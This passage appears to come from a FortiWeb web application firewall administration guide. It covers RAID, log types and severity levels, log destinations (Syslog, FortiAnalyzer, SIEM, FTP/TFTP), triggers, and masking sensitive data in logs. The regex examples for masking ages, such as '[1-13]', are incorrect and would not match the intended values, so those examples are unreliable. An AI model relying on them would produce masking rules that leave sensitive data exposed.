RAID is supported on models that originally shipped with the firmware version FortiWeb 4.0 MR1 or later, such as FortiWeb 1000D/E, 3000C/CFsx/D/DFsx, and 4000D. On older appliances that have been upgraded to FortiWeb 4.0 MR1, you may be able to see this part of the web UI, but RAID is **not** activated, and the disk status is will always be **Not Present**



FortiWeb-VM does not support RAID from within the virtual appliance. However, depending on your hypervisor's storage repository, you can configure the hypervisor to store its data on a SAN or external RAID. To manage your storage repository, see the documentation for your hypervisor.

Currently, only RAID level 1 is supported, and cannot be changed. On FortiWeb 3000C/D and 4000C/D, the RAID array has a hardware controller. On FortiWeb 1000D/E, the array has a software controller. RAID level 1 is also known as "mirroring," and writes all data twice—each drive is an exact copy of the other. This does **not** increase disk write speed via striping, nor detection and correction of errors via parity. However, it does improve availability by reducing the overall hardware failure rate of the RAID: the chance that both disks together will fail is much lower than the chance of failure of a single disk.



Rebuilding RAID after a disk failure will result in some loss of data in packet payloads retained with corresponding logs.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **System Configuration** category. For details, see "[Permissions](#)" on page 85.

Logging

To diagnose problems or track actions that the FortiWeb appliance performs as it receives and processes traffic, configure the FortiWeb appliance to record log messages.

Log messages can record attack, system, and traffic events. They are also the source of information for alert email and many types of reports.

When you configure protection profiles, many components include an **Action** option that determines the response to a detected violation. Actions combine with severity levels and trigger policies to determine whether and where a log message, message on the **Attack Log Console** widget, SNMP trap, and/or alert email will be generated.

Before logging will occur, you must first enable and configure it.

About logs & logging

FortiWeb appliances can log many different network activities and traffic including:

- Overall network traffic
- System-related events including system restarts and HA activity
- Matches of policies with **Action** (page 507) set to a log-generating option such as **Alert**

Each type can be useful during troubleshooting or forensic investigation. For more information about log types, see ["Log types"](#) on page 691.

You can select a priority level that log messages must meet in order to be recorded. For details, see ["Log severity levels"](#) on page 692.

For a detailed description of each FortiWeb log message, as well as log message structure, see the FortiWeb Log Message Reference.

The FortiWeb appliance can save log messages to its memory, or to a remote location such as a Syslog server or FortiAnalyzer appliance. For details, see ["Configuring logging"](#) on page 693. The FortiWeb appliance can also use log messages as the basis for reports. For details, see ["Reports"](#) on page 720.

The FortiWeb appliance also displays event and attack log messages on the dashboard. For details, see ["Attack Log widget"](#) on page 682 and ["Event Log Console widget"](#) on page 686.

See also

- ["Log types"](#) on page 691
- ["Log severity levels"](#) on page 692
- ["Configuring logging"](#) on page 693
- ["Viewing log messages"](#) on page 706

Log types

Each log message contains a **Type** (type) field that indicates its category, and in which log file it is stored.

FortiWeb appliances can record the following categories of log messages:

Event	Displays administrative events, such as downloading a backup copy of the configuration, and hardware failures.
Traffic	Displays traffic flow information, such as HTTP/HTTPS requests and responses.
Attack	Displays attack and intrusion attempt events.



Avoid recording highly frequent log types such as traffic logs to the local hard disk for an extended period of time. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.

Log severity levels

Each log message contains a **Severity** (`pri`) field that indicates the severity of the event that caused the log message, such as `pri=warning`.

Log severity levels

Level (0 is greatest)	Name	Description
0	Emergency	The system has become unusable.
1	Alert	Immediate action is required.
2	Critical	Functionality is affected.
3	Error	An error condition exists and functionality could be affected.
4	Warning	Functionality could be affected.
5	Notification	Information about normal events.
6	Information	General information about system operations.

For each location where the FortiWeb appliance can store log files (disk, memory, Syslog or FortiAnalyzer), you can define a severity threshold. The FortiWeb appliance will store all log messages equal to or exceeding the log severity level you select.

For example, if you select **Error**, the FortiWeb appliance will store log messages whose log severity level is **Error**, **Critical**, **Alert**, and **Emergency**.



Avoid recording log messages using low log severity thresholds such as information or notification to the local hard disk for an extended period of time. A low log severity threshold is one possible cause of frequent logging. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.

For details, see ["Configuring log destinations"](#) on page 695.

Log rate limits

When FortiWeb is defending your network against a DoS attack, the last thing you need is for performance to decrease due to logging, compounding the effects of the attack. By the nature of the attack, these log messages will likely be repetitive anyway. Similarly, repeated attack log messages when a client has become subject to a period block yet continues to send requests is of little value, and may actually be distracting from other, unrelated attacks.

To optimize logging performance and help you to notice important new information, within a specific time frame, FortiWeb will only make one log entry for these repetitive events. It will **not** log every occurrence. To adjust the interval at which FortiWeb will record identical log messages during an ongoing attack, see `max-dos-alert-interval <seconds_int>` in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Configuring logging

You can configure FortiWeb to store log messages either locally (to the hard disk) and/or remotely (to a Syslog server, ArcSight server, Azure Event Hub server, QRadar server, or FortiAnalyzer appliance). Your choice of storage location may be affected by several factors, including the following:

- Logging only locally may not satisfy your requirements for off-site log storage.
- Attack logs and traffic logs cannot be logged to local memory.
- Very frequent logging may cause undue wear when stored on the local hard drive. A low severity threshold is one possible cause of frequent logging. For more information on severity levels, see ["Log severity levels"](#) on page 692.

For information on viewing locally stored log messages, see ["Viewing log messages"](#) on page 706.

To configure logging

1. Set the severity level threshold that log messages must meet or exceed in order to be sent to each log storage device. If you will store logs remotely, also configure connectivity information such as the IP address. For details, see ["Configuring log destinations"](#) on page 695, ["Configuring Syslog settings"](#) on page 700, ["Configuring FortiAnalyzer policies"](#) on page 701, and ["Configuring SIEM policies"](#) on page 703.
2. Group Syslog, FortiAnalyzer, and SIEM settings and select those groups in **Trigger Action** settings throughout the configuration of web protection features. For details, see ["Configuring triggers"](#) on page 705.
3. Enable logging in general. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.
4. If you want to log attacks, select an **Alert** option as the **Action** (page 507) setting when configuring attack protection.
5. Monitor your log messages via the web UI or through alert email for events that require action from network administrators. For details, see ["Viewing log messages"](#) on page 706 and ["Alert email"](#) on page 712.
6. Configure reports that are derived from log data to review trends in your network. For details, see ["Reports"](#) on page 720.

Enabling log types, packet payload retention, & resource shortage alerts

You can enable or disable logging for each log type, as well as configure system alert thresholds, and which policy violations should cause the appliance to retain the TCP/IP packet payload (HTTP headers and a portion of the HTTP body, if any) that can be viewed with its corresponding log message.

For more information on log types, see ["Log types"](#) on page 691.

To enable logging

1. Go to **Log&Report > Log Config > Other Log Settings**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. Configure these settings:

Enable Attack Log	Enable to log violations of attack policies, such as server information disclosure and attack signature matches, if that feature is configured such that Action (page 507) is set to Alert, Alert & Deny, or Alert & Erase.
Enable Traffic Log	Enable to log traffic events such as HTTP requests and responses, and the expiration of HTTP sessions. Tip: Because resources for this feature increase as your traffic increases, if you do not need traffic data, disable this feature to improve performance and improve hardware life.
Enable Traffic Packet Log	Enable to retain the packet payloads of all HTTP request traffic. Unlike attack packet payloads, only HTTP request traffic packets are retained (not HTTP responses), and only the first 4 KB of the payload from the buffer of FortiWeb's HTTP parser. Packet payloads supplement the log message by providing the actual request body, which may help you to fine-tune your regular expressions to prevent false negatives, or to examine changes to attack behavior for subsequent forensic analysis. To view packet payloads, see "Viewing packet payloads" on page 708. Tip: Retaining traffic packet payloads is resource intensive. To improve performance, only enable this option while necessary.
Enable Event Log	Enable to log local events, such as administrator logins or rebooting the FortiWeb appliance.
Ignore SSL Errors	Allows you to stop FortiWeb from logging SSL errors. This is useful when you use high-level security settings, which generate a high volume of these types of errors.
Retain Packet Payload For	Mark the check boxes of the attack types or validation failures to retain the buffer from FortiWeb's HTTP parser. Packet retention is enabled by default for most types. Packet payloads supplement the log message by providing part of the actual data that matched the regular expression, which may help you to fine-tune your regular expressions to prevent false positives, or to examine changes to attack behavior for subsequent forensic analysis. To view packet payloads, see "Viewing packet payloads" on page 708. If packet payloads could contain sensitive information, you may need to obscure those elements. For details, see "Obscuring sensitive data in the logs" on page 699. Note: FortiWeb retains only the first 4 KB of data from the offending HTTP request payload that triggered the log message. If you require forensic analysis of, for example, buffer overflow attacks that would exceed this limit, you must implement it separately.

CPU Utilization	Select a threshold level (60%–99%) beyond which CPU usage triggers an event log entry.
Memory Utilization	Select a threshold level (60%–99%) beyond which memory usage triggers an event log entry.
Log Disk Utilization	Select a threshold level (60%–99%) beyond which log disk usage triggers an event log entry.
Trigger Policy	Select an trigger, if any, to use when memory usage or CPU usage reaches or exceeds its specified threshold.

3. Click **Apply**.

See also

- ["Configuring log destinations"](#) on page 695
- ["Viewing log messages"](#) on page 706
- ["Viewing packet payloads"](#) on page 708
- ["Downloading log messages"](#) on page 709
- ["Obscuring sensitive data in the logs"](#) on page 699

Configuring log destinations

You can choose and configure the storage methods for log information, and/or email alerts when logs have occurred. Alert email can be enabled here, but must be configured separately first. For details, see ["Alert email"](#) on page 712.

You can also configure FortiWeb to send log information to an FTP or TFTP server in report form.

For logging accuracy, you should verify that the FortiWeb appliance's system time is accurate. For details, see ["Setting the system time & date"](#) on page 133.



Avoid recording highly frequent log types such as traffic logs to the local hard disk for an extended period of time. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.

To configure log settings

1. Go to **Log&Report > Log Config > Global Log Settings**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. Configure these settings:

Global Log Settings

☒ Disk

Log Level Information ▼

When log disk is full Overwrite oldest logs ▼

☐ Syslog

Syslog Policy Please Select... ▼

Log Level Information ▼

Facility reserved for local use 7 ▼

☐ Alert Mail

Email Policy Please Select... ▼

☐ FortiAnalyzer

Log Level Information ▼

FortiAnalyzer Policy Please Select... ▼

☐ SIEM

Log Level Information ▼

SIEM Policy Please Select... ▼

Disk

Enable to record log messages to the local hard disk on the FortiWeb appliance.

If the FortiWeb appliance is logging to its hard disk, you can use the web UI to view log messages stored locally on the FortiWeb appliance. For details, see ["Viewing log messages"](#) on page 706.

Log Level

Select the severity level that a log message must equal or exceed in order to be recorded to this storage location. For information about severity levels, see ["Log severity levels"](#) on page 692.

Caution: Avoid recording log messages using low severity thresholds such as information or notification to the local hard disk for an extended period of time. A low log severity threshold is one possible cause of frequent logging. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.

When log disk is full

Select what the FortiWeb appliance will do when the local disk is full and a new log message occurs, either:

	• Do not log—Discard the new log message. • Overwrite oldest logs—Delete the oldest log file in order to free disk space, then store the new log message in a new log file.
Syslog	Enable to store log messages remotely on a Syslog server. Caution: Enabling Syslog could result in excessive log messages being recorded in Syslog. Syslog entries are controlled by Syslog policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action is not selected for a specific type of violation, every occurrence of that violation will be transmitted to the Syslog server in the Syslog Policy (page 697) field. Note: Logs stored remotely cannot be viewed from the FortiWeb web UI.
Syslog Policy	Select the settings to use when storing log messages remotely. The Syslog settings include the address of the remote Syslog server and other connection settings. For details, see " Configuring Syslog settings " on page 700.
Log Level	Select the severity level that a log message must equal or exceed in order to be recorded to this storage location. For details about severity levels, see " Log severity levels " on page 692.
Facility	Select the facility identifier that the FortiWeb appliance will use to identify itself when sending log messages to the first Syslog server. To easily identify log messages from the FortiWeb appliance when they are stored on the Syslog server, enter a unique facility identifier, and verify that no other network devices use the same facility identifier.
Alert Mail	Enable to generate alert email when log messages are created. Distribution of alert email is controlled by email policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action is not selected for a specific type of violation, every occurrence of that violation will result in an alert email to the individuals associated with the policy selected in the Email Policy (page 697) field. Note: Alert email are not sent for traffic logs. Note: Before enabling this option, verify that log frequency is not too great. If logs are very frequent, enabling this option could decrease performance and cause the FortiWeb appliance to send you many alert email messages.
Email Policy	Select the email settings to use for alert emails. For details, see " Configuring email settings " on page 712.

FortiAnalyzer Enable to store log messages remotely on a FortiAnalyzer appliance.

Compatibility varies. See the FortiAnalyzer Release Notes (<http://docs.fortinet.com/fortianalyzer/release-information>). For example, FortiAnalyzer 5.0.6 is tested compatible with FortiWeb 5.1.1 and 5.0.5.

Log entries to FortiAnalyzer are controlled by FortiAnalyzer policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action has not been selected for a specific type of violation, every occurrence of that violation will be recorded to the FortiAnalyzer specified in **FortiAnalyzer Policy** (page 698).

Note: Before enabling this option, verify that log frequency is not too great. If logs are very frequent, enabling this option could decrease performance and cause the FortiWeb appliance to send many log messages to FortiAnalyzer.

Note: Logs stored remotely cannot be viewed from the FortiWeb web UI.

FortiAnalyzer Policy Select the settings to use when storing log messages remotely. FortiAnalyzer settings include the address and other connection settings for the remote FortiAnalyzer. For details, see "[Configuring FortiAnalyzer policies](#)" on page 701.

Log Level Select the severity level that a log message must equal or exceed in order to be recorded to this storage location. For details about severity levels, see "[Log severity levels](#)" on page 692.

SIEM Enable to store log messages to a SIEM (Security Information and Event Management) server. According to the specified SIEM policy, FortiWeb will carry out one of the following actions:

- Store log messages remotely to an ArcSight server
- Store log messages remotely to a QRadar server
- Send log messages to Azure Event Hub (only available for FortiWeb-VM installed on Azure)

FortiWeb sends log entries in CEF (Common Event Format) format. There is a 256 byte limit for URLs.

If this option is enabled, but no trigger action is selected for a specific type of violation, FortiWeb records every occurrence of that violation to the resource specified by **SIEM Policy** (page 699).

Note: Before you enable this option, verify that log frequency is not too great. If logs are very frequent, enabling this option can decrease performance and cause the FortiWeb appliance to send many log messages to the resource.

Note: You cannot view logs stored remotely from the FortiWeb web UI.

Log Level Select the severity level that a log message must equal or exceed in order to be recorded to this storage location. For information about severity levels, see "[Log severity levels](#)" on page 692.

SIEM Policy

Select the settings to use when storing log messages remotely. SIEM settings configure a connection to the storage resource. For details, see ["Configuring SIEM policies"](#) on page 703.

3. Click **Apply**.
4. Enable the log types that you want your log destinations to receive. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.

See also

- ["Configuring log destinations"](#) on page 695
- ["Viewing log messages"](#) on page 706
- ["Downloading log messages"](#) on page 709
- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Alert email"](#) on page 712
- ["Configuring Syslog settings"](#) on page 700
- ["Configuring FortiAnalyzer policies"](#) on page 701

Obscuring sensitive data in the logs

You can configure the FortiWeb appliance to hide certain predefined data types, including user names and passwords, that could appear in the packet payloads accompanying a log message. You can also define and include your own sensitive data types, such as ages (relevant if you are required to comply with [COPPA](#)) or other identifying numbers, using regular expressions.



Sensitive data definitions are **not** retroactive. They will hide strings in subsequent log messages, but will not affect existing ones.

To exclude custom sensitive data from log packet payloads

1. Go to **Log&Report > Log Config > Sensitive Data Logging**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.

2. On the top right side of the page, mark one or both of the following check boxes:
 - **Enable Predefined Rules**—Use the predefined credit card number and password data types. For details, see ["Predefined suspicious request URLs"](#) on page 221.
 - **Enable Custom Rules**—Use your own regular expressions to define sensitive data. For details, see ["Grouping custom suspicious request URLs"](#) on page 223.
3. Click **Create New**.
4. In **Name**, type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
5. Select either **General Mask** (a regular expression that will match any substring in the packet payload) or **Field Mask** (a regular expression that will match only the value of a specific form input).

- In the field next to **General Mask**, type a regular expression that matches all the strings or numbers that you want to obscure in the packet payloads.

For example, to hide a parameter that contains the age of users under 14, you could enter:

```
age\[1-13]
```

Valid expressions must not start with an asterisk (*). The maximum length is 255 characters.

- For **Field Mask**, in the left-hand field (**Field Name**), type a regular expression that matches all and only the input names whose values you want to obscure. (The input name itself will **not** be obscured. If you wish to do this, use **General Mask** instead.) Then, in the right hand field (**Field Value**), type a regular expression that matches all input values that you want to obscure. Valid expressions must not start with an asterisk (*). The maximum length is 255 characters.

For example, to hide a parameter that contains the age of users under 14, for **Field Name**, you would enter `age`, and for **Field Value**, you could enter `[1-13]`.

Field masks using asterisks are greedy: a match for the parameter's value will obscure it, but will **also** obscure the rest of the parameters in the line. To avoid this, enter an expression whose match terminates with, but does not consume, the parameter separator.



For example, if parameters are separated with an ampersand (&), and you want to obscure the value of the **Field Name** `username` but **not** any of the parameters that follow it, you could enter the **Field Value**:

```
. * ? ( ? = \ & )
```

This would result in:

```
username****&age=13&origurl=%2Flogin
```

6. Click **OK**.

The expression appears in the list of regular expressions that define sensitive data that will be obscured in the logs.

When viewing new log messages, data types matching your expression are replaced with a string of asterisks.

To test a regular expression, click the >> (test) button. This opens the **Regular Expression Validator** window where you can fine-tune the expression. For details, see "[Regular expression syntax](#)" on page 829.

Configuring Syslog settings

To store log messages remotely on a Syslog server, you first create the Syslog connection settings.

Syslog settings can be referenced by a trigger, which in turn can be selected as the trigger action in a protection profile, and used to send log messages to one or more Syslog servers whenever a policy violation occurs.

You can use each Syslog policy to configure connections to up to 3 Syslog servers.



Logs stored remotely cannot be viewed from the FortiWeb web UI. If you need to view logs from the web UI, also enable local storage. For details, see "[Enabling log types, packet payload retention, & resource shortage alerts](#)" on page 693.

To configure Syslog policies

1. Before you can log to Syslog, you must enable it for the log type that you want to use as a trigger. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.
2. Go to **Log&Report > Log Policy > Syslog Policy**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. If the policy is new, in **Policy Name**, type the name of the policy as it will be referenced in the configuration.
5. Click **Create New**.
6. In **IP Address**, enter the address of the remote Syslog server.
7. In **Port**, enter the listening port number of the Syslog server. The default is 514.
8. Mark the **Enable CSV Format** check box if you want to send log messages in comma-separated value (CSV) format.
9. Mark the **Enable TLS** check box if you want to create a TLS connection between the FortiWeb and the Syslog server to protect the log messages transport.
10. Click **OK**.
11. Repeat the Syslog server connection configuration for up to two more servers, if required.
12. To verify logging connectivity, from the FortiWeb appliance, trigger a log message that matches the types and severity levels that you have chosen to store on the remote host. Then, on the remote host, confirm that it has received that log message.

If the remote host does not receive the log messages, verify the FortiWeb appliance's network interfaces (see ["Configuring the network interfaces"](#) on page 164) and static routes (see ["Adding a gateway"](#) on page 178), and the policies on any intermediary firewalls or routers. If ICMP is enabled on the remote host, try using the `execute traceroute` command to determine the point where connectivity fails. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

See also

- ["Configuring log destinations"](#) on page 695
- ["Viewing log messages"](#) on page 706
- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Configuring triggers"](#) on page 705
- ["Configuring log destinations"](#) on page 695
- ["Obscuring sensitive data in the logs"](#) on page 699

Configuring FortiAnalyzer policies

Before you can store log messages remotely on a FortiAnalyzer appliance, you must first create FortiAnalyzer connection settings.

Once you create FortiAnalyzer connection settings, it can be referenced by a trigger, which in turn can be selected as a trigger action in a protection profile, and used to record policy violations.



Logs stored remotely cannot be viewed from the web UI of the FortiWeb appliance. If you require the ability to view logs from the web UI, also enable local storage. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.

To configure FortiAnalyzer policies

1. Before you can log to FortiAnalyzer, you must enable logging for the log type that you want to use as a trigger. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.
2. Go to **Log&Report > Log Policy > FortiAnalyzer Policy**.
To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. For **Policy Name**, enter a unique name that other parts of the configuration can reference. Do not use spaces or special characters. The maximum length is 63 characters.
5. Click **OK**.
6. To add a FortiAnalyzer Server to the policy, click **Create New**.
7. Configure these settings:

IP Address	Enter the IP address of the remote FortiAnalyzer appliance.
Encrypt Log Transmission	Enable to transmit logs to the FortiAnalyzer appliance using SSL.

8. Click **OK**.
9. Confirm with the FortiAnalyzer administrator that the FortiWeb appliance was added to the FortiAnalyzer appliance's device list, allocated sufficient disk space quota, and assigned permission to transmit logs to the FortiAnalyzer appliance. For details, see the *FortiAnalyzer Administration Guide*:
<http://docs.fortinet.com/fortianalyzer/admin-guides>
10. To verify logging connectivity, from the FortiWeb appliance, trigger a log message that matches the types and severity levels that you have chosen to store on the remote host. Then, on the remote host, confirm that it has received that log message.

If the remote host does not receive the log messages, verify the FortiWeb appliance's network interfaces (see ["Configuring the network interfaces"](#) on page 164) and static routes (see ["Adding a gateway"](#) on page 178), and the policies on any intermediary firewalls or routers. If ICMP ECHO_RESPONSE (pong) is enabled on the remote host, try using the `execute traceroute` command to determine the point where connectivity fails. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Configuring SIEM policies

Before you store log messages remotely on a SIEM resource, you create SIEM connection settings and add them to a trigger configuration. Then you select the trigger in a protection profile.



You cannot use the web UI to view logs stored remotely. To view logs from the web UI, also enable local storage. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.

To configure SIEM policies

1. Before you can log to the resource, you enable logging for the log type that you want to use as a trigger. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.
2. Go to **Log&Report > Log Policy > SIEM Policy**.

To access this part of the web UI, your administrator's account access profile must have Read and Write permission to items in the Log & Report category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. Enter a **Policy Name** for the policy. You will use the name to refer to the policy in other parts of the configuration.
5. Click **OK**.
6. Click **Create New**, and then do one of the following:
 - To configure a connection to an ArcSight server, for **Policy Type**, select **ArcSight CEF** and enter an **IP Address(IPv4)** and **Port** for the server.
 - To configure a connection to an QRadar server, for **Policy Type**, select **QRadar CEF** and enter an **IP Address(IPv4)** and **Port** for the server.
 - To configure a connection to an Azure Event Hub, for **Policy Type**, select **Azure CEF**.

The **Azure CEF** policy type requires you to complete Azure event hub settings through the `config system eventhub` CLI command or Azure PowerShell. For details, see the *FortiWeb CLI Reference* (<http://docs.fortinet.com/fortiweb/reference>) and *FortiWeb-VM Azure Install Guide* (<http://docs.fortinet.com/fortiweb/hardware>).

7. Click **OK**.
8. If required, add additional resources to the policy.
9. To verify logging connectivity, from the FortiWeb appliance, trigger a log message that matches the types and severity levels that you have chosen to store on the remote resource. Then, on the remote resource, confirm that it has received that log message.

If a SIEM server does not receive the log messages, verify FortiWeb's network interfaces (see ["Configuring the network interfaces"](#) on page 164) and static routes (see ["Adding a gateway"](#) on page 178), and the policies for any intermediary firewalls or routers. If ICMP `ECHO_RESPONSE` (pong) is enabled on the remote host, try using the `execute traceroute` command to determine the point where connectivity fails. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

See also

- ["Configuring log destinations"](#) on page 695
- ["Viewing log messages"](#) on page 706
- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Configuring triggers"](#) on page 705
- ["Obscuring sensitive data in the logs"](#) on page 699

Configuring FTP/TFTP policies

Before you send reports that contain log or other information to an FTP or TFTP server, you create FTP/TFTP connection settings and add them to a report configuration.

To configure FTP/TFTP policies

1. Before you can create reports that contain logging information, you enable logging for the log type that you want to capture in a report. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.
2. Go to **Log&Report > Log Policy > FTP/TFTP Policy**.

To access this part of the web UI, your administrator's account access profile must have Read and Write permission to items in the Log & Report category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. Configure these settings:

FTP/TFTP Policy Name	Enter a unique name that other parts of the configuration can reference. Do not use spaces or special characters. The maximum length is 63 characters.
Policy Type	Select FTP or TFTP .
Server	Enter the IP address of the FTP or TFTP server.
Authentication	Specifies whether the server requires a user name and password for authentication, rather than allowing anonymous connections. Available only if Policy Type (page 704) is FTP .
Username	Enter the user name that FortiWeb uses to authenticate with the server. Available only if Authentication (page 704) is selected.
Password	Enter the password for the specified username. Available only if Authentication (page 704) is selected.
File Folder	Specifies the location on the server where FortiWeb stores reports. Available only if Policy Type (page 704) is FTP .

5. Click **OK**.
6. To verify logging connectivity, from the FortiWeb appliance, configure a report that uses this FTP/TFTP policy, and then run it (or wait for it to run at its scheduled time). Then, on the FTP or TFTP server, confirm that FortiWeb transmitted the report to the specified folder.

For details about configuring FortiWeb to send a report to an FTP or TFTP server, see ["Selecting the report's file type & delivery options"](#) on page 727.

See also

- ["Configuring log destinations"](#) on page 695
- ["Viewing log messages"](#) on page 706
- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Configuring triggers"](#) on page 705
- ["Obscuring sensitive data in the logs"](#) on page 699

Configuring triggers

Triggers are sets of notification servers (Syslog, FortiAnalyzer, and alert email) that you can select in protection rules. The FortiWeb appliance will contact those servers when traffic violates the policy and therefore triggers logging and/or alert email.



You can also receive security event notification via SNMP. For details, see ["SNMP traps & queries"](#) on page 715.

For example, if you create a trigger that contains email and Syslog settings, that trigger can be selected as the trigger action for specific violations of a protection profile's sub-rules. Alert email and Syslog records will be created according to the trigger when a violation of that individual rule occurs.

To configure triggers

1. Before you create a trigger, first create any settings it will reference, such as email, Syslog and/or FortiAnalyzer settings. For details, see ["Configuring email settings"](#) on page 712, ["Configuring Syslog settings"](#) on page 700, and ["Configuring FortiAnalyzer policies"](#) on page 701.
2. Go to **Log&Report > Log Policy > Trigger Policy**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see ["Permissions"](#) on page 85.
3. Click **Create New**.
4. In **Name**, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
5. Pick an existing policy from one or more of the four Email, Syslog, FortiAnalyzer, or SIEM policies from the drop-down lists. FortiWeb will use these notification devices for all protection rule violations that use this trigger.
6. Click **OK**.

7. To apply the trigger, select it in the **Trigger Action** setting in a web protection feature, such as a hidden field rule, or an HTTP constraint on illegal host names.

Viewing log messages

You can use the web UI to view and download locally stored log messages. You cannot use the web UI to view log messages that are stored remotely on Syslog or FortiAnalyzer devices, an ArcSight SIEM Server, or Azure Security Center.

Depending on the type of log, some log messages cannot be viewed from the web UI.

Log messages are in human-readable format, where each column's name, such as **Source** (`src` in a raw (unformatted) view), indicates its contents.

To assist you in forensics and troubleshooting false positives, if the request matched an attack signature, the part of the packet that matched is highlighted.

An attack's origin is not always the same as the IP that appears in your logs. Network address translation (NAT) at various points between a web browser and your web servers can mask the original IP address of the attacker. Depending on your configuration of [Use X-Header to Identify Original Client's IP](#) (page 424), attack logs' **Source** column may contain the IP address of the client according to `X-Forwarded-For`: or a similar header in the HTTP layer, **not** the `src` field in the IP header. In that case, the corresponding traffic log's **Source** column will not match, since it reflects the IP layer.

Typically in this scenario, the connection has been relayed by a load balancer or proxy, and therefore the IP would be that of the load balancer, which is not the real origin of the attack. Similarly, if [Shared IP](#) (page 670) is enabled, FortiWeb will attempt to differentiate innocent clients that share the same public address with an attacker according to the IP layer `src` field due to NAT.

Not all attack detections will be logged. In some cases, only one entry will be logged when there are many attack instances. For details, see ["Log rate limits"](#) on page 692.

Similarly, server information disclosure detections will not be logged if you have configured [Action](#) (page 507) to be **Erase, no Alert**. For details, see ["Blocking known attacks & data leaks"](#) on page 505.

Viewing raw (unformatted) messages

When you view log messages using the web UI, the log message is displayed in columns, with graphics and other formatting. In some cases, it is useful to view the log message exactly as it appears in the log file, as a single line of text consisting of field-value pairs. Use one of the following methods to view a log message in its raw form:

- Right-click a column heading, select **Detailed Information**, and then click **Apply**. The log message is displayed with no formatting in the Detailed Information column.
- Download a complete log file or a file that contains all log messages for a specific time period. For details, see ["Downloading log messages"](#) on page 709.

Determining whether an attack that generated a message was blocked

Not all detected attacks may be blocked, redirected, or sanitized.

For example, while using auto-learning, you can configure protection profiles with an action of **Alert** (log but not deny), allowing the connection to complete in order to gather full auto-learning data.

You can use the Action column to determine whether or not an attack attempt was permitted to reach a web server. (This column is displayed by default. Right-click a column heading to select the columns to display.)

Additionally, if the FortiWeb appliance is operating in Offline Protection mode or Transparent Inspection mode, due to asynchronous inspection where the attack may have reached the server before it was detected by FortiWeb, you should also examine the server itself.

To view log messages

1. Go to one of the log types:

- **Log&Report > Log Access > Attack**
- **Log&Report > Log Access > Event**
- **Log&Report > Log Access > Traffic**

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Log & Report** category. For details, see "[Permissions](#)" on page 85.

Columns and appearance varies slightly by the log type. For details on structure or interpretations of and troubleshooting suggestions for individual log messages, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Initially, the page displays the most recent log messages for that log type.



In FortiWeb HA clusters, log messages are recorded on their originating appliance. If you notice a gap in the logs, a failover may have occurred.

FortiAnalyzer can recognize logs from a FortiWeb High Availability (Active-Active and Active-Passive) cluster and display aggregated logs from each device in the cluster under one name. You no longer have to connect to individual cluster members to view logs from the cluster.

Log&Report > Log Access > Event

#	Date/Time	Level	User Interface	Action	
1	05:21:42	GUI	browse	User admin has viewed the Event logs from GUI(10.12.95.1)	
2	04:59:32	GUI	edit	user admin changed dashboard order from GUI(10.12.95.1)	
3	04:59:31	GUI	add	User admin add event-log dashboard layout from GUI(10.12.95.1)	
4	03:39:54	GUI	browse	User admin has viewed the Attack logs from GUI(10.12.95.1)	
5	03:12:35	GUI	browse	User admin has viewed the Attack logs from GUI(10.12.95.1)	
6	03:04:40	GUI	login	User admin logged in successfully from GUI->HTTP(10.12.95.1)	
7	02:00:01	sys	backup	sftp backup backup_backup-server_20170416020000 to 172.16.1.25 fortiweb/backups/ FAILED	
8	04-15 08:37	daemon	edit	Reseeding successfully from the old method	
9	04-14 18:57	jsconsole	logout	User admin timed out on jsconsole	
10	04-14 17:03	jsconsole	logout	User admin timed out on jsconsole	
11	04-14 10:23	jsconsole	edit	Command failed: 'edit 1' Return code -90: CLI parsing error.	
12	04-14 09:03	console	edit	User admin changed remote test from jsconsole	
13	04-14 09:02	jsconsole	edit	Command failed: 'set comment OCSP for CA_Cert_1' Return code -90: CLI parsing error.	
